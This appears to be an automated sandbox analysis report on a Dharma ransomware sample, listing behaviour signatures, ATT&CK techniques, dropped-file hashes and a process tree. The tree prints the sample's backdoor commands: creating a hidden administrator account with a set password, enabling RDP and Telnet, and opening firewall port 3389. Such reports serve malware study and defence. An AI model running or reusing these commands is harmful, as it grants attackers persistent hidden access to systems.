Overview

overview

10

Static

static

10

Ransomware.zip

windows11-ltsc_2024-x64

1

Ransomware...er.exe

windows11-ltsc_2024-x64

10

Ransomware/7ev3n.exe

windows11-ltsc_2024-x64

3

Ransomware...le.exe

windows11-ltsc_2024-x64

Ransomware...it.exe

windows11-ltsc_2024-x64

10

Ransomware/Birele.exe

windows11-ltsc_2024-x64

5

Ransomware...r5.exe

windows11-ltsc_2024-x64

10

Ransomware...us.exe

windows11-ltsc_2024-x64

10

Ransomware...er.exe

windows11-ltsc_2024-x64

10

Ransomware...ll.exe

windows11-ltsc_2024-x64

7

Ransomware...ck.exe

windows11-ltsc_2024-x64

7

Ransomware/Dharma.exe

windows11-ltsc_2024-x64

9

Ransomware/Fantom.exe

windows11-ltsc_2024-x64

10

Ransomware...ab.exe

windows11-ltsc_2024-x64

3

Ransomware...ye.exe

windows11-ltsc_2024-x64

Ransomware...pt.exe

windows11-ltsc_2024-x64

10

Ransomware...en.exe

windows11-ltsc_2024-x64

8

Ransomware...AZ.dll

windows11-ltsc_2024-x64

3

Ransomware...ya.exe

windows11-ltsc_2024-x64

10

Ransomware...ap.exe

windows11-ltsc_2024-x64

3

Ransomware....A.exe

windows11-ltsc_2024-x64

Ransomware...om.exe

windows11-ltsc_2024-x64

10

Ransomware...ot.exe

windows11-ltsc_2024-x64

Ransomware/RedEye.exe

windows11-ltsc_2024-x64

Ransomware/Rokku.exe

windows11-ltsc_2024-x64

10

Ransomware/Satana.exe

windows11-ltsc_2024-x64

5

Ransomware/Seftad.exe

windows11-ltsc_2024-x64

6

Ransomware...re.exe

windows11-ltsc_2024-x64

10

Ransomware/UIWIX.dll

windows11-ltsc_2024-x64

3

Ransomware...ck.exe

windows11-ltsc_2024-x64

10

Ransomware...od.exe

windows11-ltsc_2024-x64

10

Ransomware/satan.exe

windows11-ltsc_2024-x64

5

Resubmissions

11/11/2026, 02:18

261111-crd1xadt6p10

11/11/2026, 02:14

261111-cn8q4set4x10

11/11/2026, 01:54

261111-cb2f9sts2r10

08/09/2026, 17:42

260908-v91lqsvzby10

08/09/2026, 14:47

260908-r5xshastaw

06/09/2026, 10:46

260906-mtz19shn5s10

02/09/2026, 16:53

260902-vefcbaxhjb10

02/09/2026, 16:53

260902-vd1xmaxgqd

26/04/2026, 11:25

260426-njgydaas6r10

24/04/2026, 20:04

260424-ys8gssbv3l10

Analysis

  • max time kernel
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-es
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/11/2026, 01:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Ransomware/Dharma.exe
  • Size 11.5MB
  • Sample261111-cb2f9sts2r
  • SHA256 6fb303dd8ba36381948127d44bd8541e4a1ab8af07b46526ace08458f2498850
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionlateral_movementpersistenceprivilege_escalation

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    defense_evasion
  • Sets service image path in registry 3 TTPs 12 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Executes dropped EXE 4 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 20 IoCs
    defense_evasion
  • Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

    A user account was hidden or made visible on the Windows login screen through a registry modification.

    defense_evasion
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ransomware\Dharma.exe
    "C:\Users\Admin\AppData\Local\Temp\Ransomware\Dharma.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe
      "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3484
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:5856
    • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe
      "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe"
      2⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Impair Defenses: Safe Mode Boot
      • Suspicious behavior: LoadsDriver
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3012
    • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe
      "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3328
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\Shadow.bat" "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:476
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\systembackup.bat" "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4320
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3156
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2928
        • C:\Windows\SysWOW64\find.exe
          Find "="
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3008
      • C:\Windows\SysWOW64\net.exe
        net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
        3⤵
        • Creates a new local user account
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6128
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
          4⤵
          • Creates a new local user account
          • System Location Discovery: System Language Discovery
          PID:2296
      • C:\Windows\SysWOW64\net.exe
        net localgroup Administrators systembackup /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2672
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Administrators systembackup /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4496
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3580
        • C:\Windows\SysWOW64\find.exe
          Find "="
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4748
      • C:\Windows\SysWOW64\net.exe
        net localgroup "Remote Desktop Users" systembackup /add
        3⤵
        • Remote Service Session Hijacking: RDP Hijacking
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5524
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
          4⤵
          • Remote Service Session Hijacking: RDP Hijacking
          • System Location Discovery: System Language Discovery
          PID:8
      • C:\Windows\SysWOW64\net.exe
        net accounts /forcelogoff:no /maxpwage:unlimited
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5896
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5672
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2552
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
        3⤵
        • Modifies visibility of existing users in the login screen
        • System Location Discovery: System Language Discovery
        PID:1392
      • C:\Windows\SysWOW64\attrib.exe
        attrib C:\users\systembackup +r +a +s +h
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3776
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add portopening TCP 3389 "Remote Desktop"
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:1040
      • C:\Windows\SysWOW64\sc.exe
        sc config tlntsvr start=auto
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:6000
      • C:\Windows\SysWOW64\net.exe
        net start Telnet
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start Telnet
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4992
    • C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe
      "C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe"
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:2924

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        Windows Command Shell

        1
        T1059.003

        Persistence

        Account Manipulation

        1
        T1098

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create Account

        1
        T1136

        Local Account

        1
        T1136.001

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Privilege Escalation

        Account Manipulation

        1
        T1098

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Defense Evasion

        Hide Artifacts

        3
        T1564

        Hidden Files and Directories

        2
        T1564.001

        Hidden Users

        1
        T1564.002

        Impair Defenses

        2
        T1562

        Disable or Modify System Firewall

        1
        T1562.004

        Safe Mode Boot

        1
        T1562.009

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Password Policy Discovery

        1
        T1201

        Peripheral Device Discovery

        1
        T1120

        Permission Groups Discovery

        1
        T1069

        Local Groups

        1
        T1069.001

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        1
        T1016

        Lateral Movement

        Remote Service Session Hijacking

        1
        T1563

        RDP Hijacking

        1
        T1563.002

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Everything.ini
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\Everything.ini
        • Size 19KB
        • SHA256 4f03ab645fe48bf3783eb58568e89b3b3401956dd17cb8049444058dab0634d7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        SearchHost.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\EVER\SearchHost.exe
        • Size 1.6MB
        • SHA256 35c4a6c1474eb870eec901cef823cc4931919a4e963c432ce9efbb30c2d8a413
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Shadow.bat
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\Shadow.bat
        • Size 28B
        • SHA256 da3f155cfb98ce0add29a31162d23da7596da44ba2391389517fe1a2790da878
        • MD5 SHA1 SHA512
        Submit Download

        mssql.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.exe
        • Size 10.2MB
        • SHA256 c522e0b5332cac67cde8fc84080db3b8f2e0fe85f178d788e38b35bbe4d464ad
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        mssql.sys
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql.sys
        • Size 674KB
        • SHA256 5fd17e3b8827b5bb515343bc4066be0814f6466fb4294501becac284a378c0da
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        mssql2.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\mssql2.exe
        • Size 6.7MB
        • SHA256 659e441cadd42399fc286b92bbc456ff2e9ecb24984c0586acf83d73c772b45d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        nc123.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\nc123.exe
        • Size 125KB
        • SHA256 f47e3555461472f23ab4766e4d5b6f6fd260e335a6abc31b860e569a720a5446
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        systembackup.bat
        • Path C:\Users\Admin\AppData\Local\Temp\Ransomware\ac\systembackup.bat
        • Size 1KB
        • SHA256 6246b0045ca11da483e38317421317dc22462a8d81e500dee909a5269c086b5f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/3012-133-0x0000000140000000-0x0000000140ACB000-memory.dmp
        Download

        memory/3328-114-0x0000000000400000-0x0000000000B02000-memory.dmp
        Download

        memory/3328-134-0x0000000000400000-0x0000000000B02000-memory.dmp
        Download